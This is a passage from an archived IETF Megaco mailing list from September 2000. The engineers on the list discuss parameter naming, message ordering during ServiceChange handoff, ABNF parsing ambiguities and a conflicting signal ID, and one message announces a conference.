          (5.5.2650.21) id <S0BFZQ7A>; Thu, 21 Sep 2000 09:16:58 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6DE@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 21 Sep 2000 09:16:30 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Parameter name vs ID
X-To:         Naren Tulpule <naren@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It's an unfortunate, and overlooked choice of terms.
Had I noticed it, I would have made suggestions to fix it.

Given the text, the correct answer is:
 rtp/pltrans { rtppltype =

We should probably change the name of the parameter to
"Payload Type"

It should have had an id like "plt" or something similar.

Brian

> -----Original Message-----
> From: Naren Tulpule [mailto:naren@TRILLIUM.COM]
> Sent: Wednesday, September 20, 2000 6:10 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Parameter name vs ID
>
>
> Hi,
>         in the RTP package, E.12.2 ObservedEventsDescriptor
> parameter we
> have
> ParameterName: rtppayload
> ParameterID: rtppltype, 0x01
>         What's the difference? If there is none, will it be
> specified as
> rtp/pltrans { rtppltype = ... or
> rtp/pltrans { rtppayload = ... ?
>
> -- Naren.
> These views and opinions are mine alone, not those of Intel
>  (yet ;-),
> Narendra C. Tulpule SMTS, Trillium (an Intel company)
> Ph: +1-310-442-9222              Fax: +1-310-442-1162
> 12100 Wilshire Bl #1800         Los Angeles, CA 90025
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 09:47:11 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05625
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 09:47:10 -0400 (EDT)
Received: from standards (47.234.32.16:1030) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95F98@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:31:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20449 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 09:31:26 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB95F97@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:31:26
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id GAA18393; Thu, 21 Sep 2000 06:44:45 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01A6E6C3@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/alternative;
              boundary="------------E45F01AA55D63D92A68BE199"
Message-ID:  <39CA11E1.CA77DEDD@cisco.com>
Date:         Thu, 21 Sep 2000 09:49:21 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Messages with different types of transactions
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------E45F01AA55D63D92A68BE199
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



"Rosen, Brian" wrote:

<snip>

> Now, sharp observers may have noticed, as I just did, that we have a
> problem.Suppose what the MG observed is:    P1    P2    P3    S1
> P4It gets a request from what it sees as an unknown MGC before it gets
> the ServiceChange request.So.........I think we actually need to have
> some wording.The MGC MUST get TransactionReply on the ServiceChange
> before it startssending commands from the secondary.  I'm not sure
> that this is really ideal,as ServiceChange indicates impending
> failure, and the MGC could fail betweenthe time it sends the
> ServiceChange and gets the response, but that's the onlyway I see it
> can work.Brian
>
>
> FSA: Actually, I don't see the problem. If the MGC wants to redirect
> the MG it sends a ServiceChange(Handoff) to the MG. The MG in turn
> MUST  establish a new control association with the secondary MGC
> before that MGC can send any messages to it. Thus S1 and P4 cannot
> arrive out of order.
>
> -- Flemming
>

<snip>

--
Flemming Andreasen
Cisco Systems


--------------E45F01AA55D63D92A68BE199
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
&nbsp;
<p>"Rosen, Brian" wrote:
<p>&lt;snip>
<blockquote TYPE=CITE><span
class=010142612-20092000></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>Now,
sharp observers may have noticed, as I just did, that we have a problem.</font></font></font></span><span
class=010142612-20092000></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>Suppose
what the MG observed is:</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>&nbsp;&nbsp;&nbsp;
P1</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>&nbsp;&nbsp;&nbsp;
P2</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>&nbsp;&nbsp;&nbsp;
P3</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>&nbsp;&nbsp;&nbsp;
S1</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>&nbsp;&nbsp;&nbsp;
P4</font></font></font></span><span
class=010142612-20092000></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>It
gets a request from what it sees as an unknown MGC before it gets the ServiceChange
request.</font></font></font></span><span
class=010142612-20092000></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>So.........</font></font></font></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>I
think we actually need to have some wording.</font></font></font></span><span
class=010142612-20092000></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>The
MGC MUST get TransactionReply on the ServiceChange before it starts</font></font></font></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>sending
commands from the secondary.&nbsp; I'm not sure that this is really ideal,</font></font></font></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>as
ServiceChange indicates impending failure, and the MGC could fail between</font></font></font></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>the
time it sends the ServiceChange and gets the response, but that's the only</font></font></font></span><span class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>way
I see it can work.</font></font></font></span><span
class=010142612-20092000></span><span
class=010142612-20092000><font face="Arial"><font color="#0000FF"><font size=-1>Brian</font></font></font></span>
<br><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;<font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>
<p><font face="Arial"><font color="#0000FF"><font size=-1>FSA: Actually,
I don't see the problem. If the MGC wants to redirect the MG it sends a
ServiceChange(Handoff) to the MG. The MG in turn MUST&nbsp; establish a
new control association with the secondary MGC before that MGC can send
any messages to it. Thus S1 and P4 cannot arrive out of order.</font></font></font><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>
<p><font face="Arial"><font color="#0000FF"><font size=-1>-- Flemming</font></font></font>
<br><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;</blockquote>
&lt;snip>
<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;
</body>
</html>

--------------E45F01AA55D63D92A68BE199--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 10:00:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05903
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 10:00:17 -0400 (EDT)
Received: from standards (47.234.32.16:1030) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95FB5@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:44:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20488 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 09:44:47 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95FB4@standards.nortelnetworks.com>; Thu, 21 Sep 2000 9:44:42
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA28189; Thu, 21 Sep 2000 09:58:14 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA00432; Thu, 21 Sep 2000 09:58:17 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BFZR2L>; Thu, 21 Sep 2000 09:58:16 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6E1@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 21 Sep 2000 09:57:47 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Messages with different types of transactions
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Woops, too late in the day.  Yes, P4 has to be acted on
before S1 can be sent.  Sorry for creating confusion

Brian

-----Original Message-----
From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
Sent: Thursday, September 21, 2000 9:49 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Messages with different types of transactions



"Rosen, Brian" wrote:
<snip>
Now, sharp observers may have noticed, as I just did, that we have a
problem.Suppose what the MG observed is:    P1    P2    P3    S1    P4It
gets a request from what it sees as an unknown MGC before it gets the
ServiceChange request.So.........I think we actually need to have some
wording.The MGC MUST get TransactionReply on the ServiceChange before it
startssending commands from the secondary.  I'm not sure that this is really
ideal,as ServiceChange indicates impending failure, and the MGC could fail
betweenthe time it sends the ServiceChange and gets the response, but that's
the onlyway I see it can work.Brian

FSA: Actually, I don't see the problem. If the MGC wants to redirect the MG
it sends a ServiceChange(Handoff) to the MG. The MG in turn MUST  establish
a new control association with the secondary MGC before that MGC can send
any messages to it. Thus S1 and P4 cannot arrive out of order.
-- Flemming

<snip>
--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 10:29:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA06340
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 10:28:58 -0400 (EDT)
Received: from standards (47.234.32.16:3757) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95FED@standards.nortelnetworks.com>; Thu, 21 Sep 2000 10:13:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20564 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 10:13:05 -0400
Received: from qhars002.nortel.com (47.101.112.102:39517) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95FEC@standards.nortelnetworks.com>; Thu, 21 Sep 2000
          10:13:04 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Thu, 21 Sep 2000
          15:26:11 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Thu, 21 Sep 2000 10:21:25 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Thu, 21 Sep 2000 10:21:06 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id RAA05250
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 21 Sep 2000 17:23:36
          +0300 (IDT)
Received: from tl100h0c.elex.co.il by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id
          RAA12387; Thu, 21 Sep 2000 17:23:36 +0300 (IDT)
Received: from tmx100.elex.co.il (rakefet@localhost [127.0.0.1]) by
          tl100h0c.elex.co.il with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id RAA11884
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Thu, 21 Sep 2000 17:23:35
          +0300 (IDT)
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------CF3CD456F48366C006BC94C3"
X-Orig: <rakefet.prozan@telrad.co.il>
Message-ID:  <39CA19E6.461BE500@tmx100.elex.co.il>
Date:         Thu, 21 Sep 2000 17:23:34 +0300
Reply-To: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Organization: Telrad Ltd.
Subject:      [Fwd: [Fwd: Syntax problems]]
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.
--------------CF3CD456F48366C006BC94C3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,
As I didn't get any comment for a few days,I'm re-sending
my problem again...
The absence of parentheses is a real problem for our parser.
Many thanks in advance for your answers,
--
Rakefet Prozan,
Team Manager, S/W Development
ATS SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!
--------------CF3CD456F48366C006BC94C3
Content-Type: message/rfc822
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <39C5C844.A1ABAEA7@tmx100.elex.co.il>
Date: Mon, 18 Sep 2000 10:46:12 +0300
From: Rakefet Prozan <rakefet@tmx100.elex.co.il>
Reply-To: rakefet.prozan@telrad.co.il
Organization: Telrad Ltd.
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: [Fwd: Syntax problems]
Content-Type: multipart/mixed;
 boundary="------------086C375E19BCEC190ED84DC6"

This is a multi-part message in MIME format.
--------------086C375E19BCEC190ED84DC6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


--
Rakefet Prozan,
Team Manager, S/W Development
ATS SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!
--------------086C375E19BCEC190ED84DC6
Content-Type: message/rfc822
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <39C5C619.FF3EE783@tmx100.elex.co.il>
Date: Mon, 18 Sep 2000 10:36:58 +0300
From: Rakefet Prozan <rakefet@tmx100.elex.co.il>
Reply-To: rakefet.prozan@telrad.co.il
Organization: Telrad Ltd.
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
To: "Taylor, Tom-PT" <taylor@americasm01.nt.com>
Subject: Re: Syntax problems
References: <28560036253BD41191A10000F8BCBD11480D6E@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,
I tried to do what you have suggested regarding the contextProperties
problem (the second issue),and it seems that the problem is even worse
than I thought
at first:

 According to the following definitions,we can have actionRequest that
consist
of contextRequest.

   actionRequest        = CtxToken EQUAL ContextID LBRKT ((
                          contextRequest [COMMA  commandRequestList])
                          / commandRequestList) RBRKT

   contextRequest          = ((contextProperties [COMMA contextAudit])
                           / contextAudit)

   contextProperties    = contextProperty *(COMMA contextProperty)

   ; at-most-once
   contextProperty  = (topologyDescriptor / priority / EmergencyToken)


This contextRequest can be as follows:

topologyDescriptor,priority,EmergencyToken,contextAudit,commandRequestList

This means that after the first COMMA I can have each of the following
options:

priority,EmergencyToken,contextAudit,commandRequestList

In advance,commandRequestList can consist of:

ammRequest,subtractRequest,auditRequest,notifyRequest,serviceChangeRequest


In case that the protocol will not be changed,it means that after each
COMMA
I have to check ALL these posibilities,which doesn't make sense
(real-time,etc).
On the other hand,entering parentheses solves the problem.

By the way,the problem also exist in commandReply,because it consists of
contextProperties:

commandReply       = (( contextProperties [COMMA commandReplyList] )
                           / commandReplyList )


many thanks in advance,
 Rakefet



> "Taylor, Tom-PT" wrote:
>
> Responses below.
>
> > -----Original Message-----
> > From: Prozan, Rakefet [Partner:LOD:Telrad]
> > Sent: Tuesday, September 12, 2000 5:18 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Syntax problems
> >
> >
> > Hi all,
> >
> > The previous mail was sent by mistake. This is the correct mail:
> >
> > Can someone clear the following issues in ABNF?
> >
> > 1) In APPENDIX A EXAMPLE CALL FLOW:
> >
> >    ...
> >    8.  The MGC Modifies the termination to play dial tone, to look
> for
> >    digits according to Dialplan0 and to look for the on-hook
> > event now.
> >    MGC to MG1:
> >
> >    MEGACO/1 [123.123.123.4]:55555
> >    Transaction = 10001 {
> >        Context = - {
> >            Modify = A4444 {
> >                Events = 2223 {
> >                    al/on, dd/ce {DigitMap=Dialplan0}
> >                },
> >                Signals {cg/dt},
> >                DigitMap= Dialplan0{
> >    (0| 00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}
> >            }
> >        }
> >    }
> >
> >   According to the definition of digitMapRAnge :
> >
> >    digitMapRange = ("x" / LWSP "[" LWSP digitLetter LWSP "]" LWSP)
> >
> >
> >   "x" must be followed by "[" .
>
> [PTT] According to section 3.5 of RFC2234 (ABNF), the rule as
> currently shown is correct, but your alternative presentation would be
> clearer.
>
> >   So, either there is an error in the example,or the definition
> should
> > be:
> >
> >   digitMapRange = ("x" /( LWSP "[" LWSP digitLetter LWSP "]" LWSP ))
>
> >
> > 2) In ABNF:
> >
> >    contextRequest = ((contextProperties [COMMA contextAudit])
> >                   / contextAudit)
> >
> >    contextProperties  = contextProperty *(COMMA contextProperty)
> >
> >
> >
> > My problem is : if the parser finds a COMMA after a
> > contextProperty, it
> > doesn't have any indication to know what will come after this COMMA:
>
> > another
> > contextProperty,or the optional contextAudit. This results in a
> loop.
>
> [PTT] You have to check the keyword which follows the comma.
>
> > I think that there are two alternatives ways to solve this:
> >
> > Either to put  contextAudit in { } :
> >
> > contextRequest = ((contextProperties LBRKT [COMMA contextAudit]
> RBRKT)
> >                / contextAudit)
> >
> > Or put contextProperties in { } :
> >
> > contextRequest = ((LBRKT contextProperties RBRKT [COMMA
> contextAudit])
> >                   / contextAudit)
> >
> >
> >  thank you in advance,
> > --
> > Rakefet Prozan,
> > Team Manager, S/W Development
> > Nortel SBU
> > Telrad Networks
> > ESN 828-3043   Email:rakefet.prozan@telrad.co.il
> >
> >
> >                                        """
> >                                      -(o o)-
> > +---------------------------------oOO--(_)--OOo--------------+
> >
> >                                .oooO         Oooo.
> > -------------------------------(   )---------(   )------------
> >                                 \ (           ) /
> >                                  \_)         (_/
> >
> > Have fun !!!
> >

--
Rakefet Prozan,
Team Manager, S/W Development
Nortel SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!

--------------086C375E19BCEC190ED84DC6--


--------------CF3CD456F48366C006BC94C3--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 14:22:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11692
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 14:22:09 -0400 (EDT)
Received: from standards (47.234.32.16:3793) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9629C@standards.nortelnetworks.com>; Thu, 21 Sep 2000 14:06:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21438 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 14:06:25 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB9629B@standards.nortelnetworks.com>; Thu, 21 Sep 2000 14:06:25
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e8LIOhH20054 for
          <megaco@standards.nortelnetworks.com>; Thu, 21 Sep 2000 11:24:43
          -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id LAA25489 for
          <megaco@standards.nortelnetworks.com>; Thu, 21 Sep 2000 11:19:56
          -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6833>; Thu, 21 Sep 2000 11:11:07 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5DAFF472@aega.trillium.com>
Date:         Thu, 21 Sep 2000 11:10:58 -0700
Reply-To: Naren Tulpule <naren@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Naren Tulpule <naren@TRILLIUM.COM>
Subject:      Another conflicting signal ID
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,
  the tonegen package has signal ID pt (for playtone), 0x0001.
Call progress tones generator (cg, which extends tonegen) has pt (0x0036) as
payphone recognition tone.
Can we change payphone recognition tone ID to prt so that
cg/pt means playtone
cg/prt means play payphone recognition tone?

-- Naren.
These views and opinions are mine alone, not those of Intel    (yet ;-)
Narendra C. Tulpule SMTS, Trillium (an Intel company)
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 21 14:28:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11806
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 21 Sep 2000 14:28:18 -0400 (EDT)
Received: from standards (47.234.32.16:3793) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB962BD@standards.nortelnetworks.com>; Thu, 21 Sep 2000 14:12:43 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21478 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 21 Sep 2000 14:12:43 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB962BC@standards.nortelnetworks.com>; Thu, 21 Sep 2000 14:12:28
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA22147; Thu, 21 Sep 2000 14:26:08 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA06870; Thu, 21 Sep 2000 14:26:10 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBFHMK>; Thu, 21 Sep 2000 14:25:59 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6EA@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 21 Sep 2000 14:25:34 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Another conflicting signal ID
X-To:         Naren Tulpule <naren@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes, I think we should.

Brian

> -----Original Message-----
> From: Naren Tulpule [mailto:naren@TRILLIUM.COM]
> Sent: Thursday, September 21, 2000 2:11 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Another conflicting signal ID
>
>
> Hi,
>   the tonegen package has signal ID pt (for playtone), 0x0001.
> Call progress tones generator (cg, which extends tonegen) has
> pt (0x0036) as
> payphone recognition tone.
> Can we change payphone recognition tone ID to prt so that
> cg/pt means playtone
> cg/prt means play payphone recognition tone?
>
> -- Naren.
> These views and opinions are mine alone, not those of Intel
>  (yet ;-)
> Narendra C. Tulpule SMTS, Trillium (an Intel company)
> Ph: +1-310-442-9222              Fax: +1-310-442-1162
> 12100 Wilshire Bl #1800         Los Angeles, CA 90025
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 03:27:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA03595
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 03:27:46 -0400 (EDT)
Received: from standards (47.234.32.16:4896) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9652C@standards.nortelnetworks.com>; Fri, 22 Sep 2000 3:09:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22298 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 03:09:51 -0400
Received: from smtp4.cluster.oleane.net by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB9652B@standards.nortelnetworks.com>; Fri, 22 Sep 2000 3:09:51
          -0400
Received: from oleane  (dyn-1-1-105.Vin.dialup.oleane.fr [195.25.4.105])  by
          smtp4.cluster.oleane.net  with SMTP id JAA74688 for
          <megaco@standards.nortelnetworks.com>; Fri, 22 Sep 2000 09:23:40
          +0200 (CEST)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_009C_01C02476.AD5A6FE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <009f01c02465$ea0b9ba0$0401a8c0@oleane.com>
Date:         Fri, 22 Sep 2000 09:22:49 +0200
Reply-To: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Subject:      International MGC Conference
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_009C_01C02476.AD5A6FE0
Content-Type: text/plain;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

International MGC Conference, second edition. 14-17 November. Paris.
What progress has been made to the MGCP and Megaco protocols?=20
How can the SIP and H.323 protocols be integrated into a MGC =
architecture?=20
What implementations and deployments are underway?=20
Please refer to:
http://www.upperside.fr/bamgc2yk.htm
=20


------=_NextPart_000_009C_01C02476.AD5A6FE0
Content-Type: text/html;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
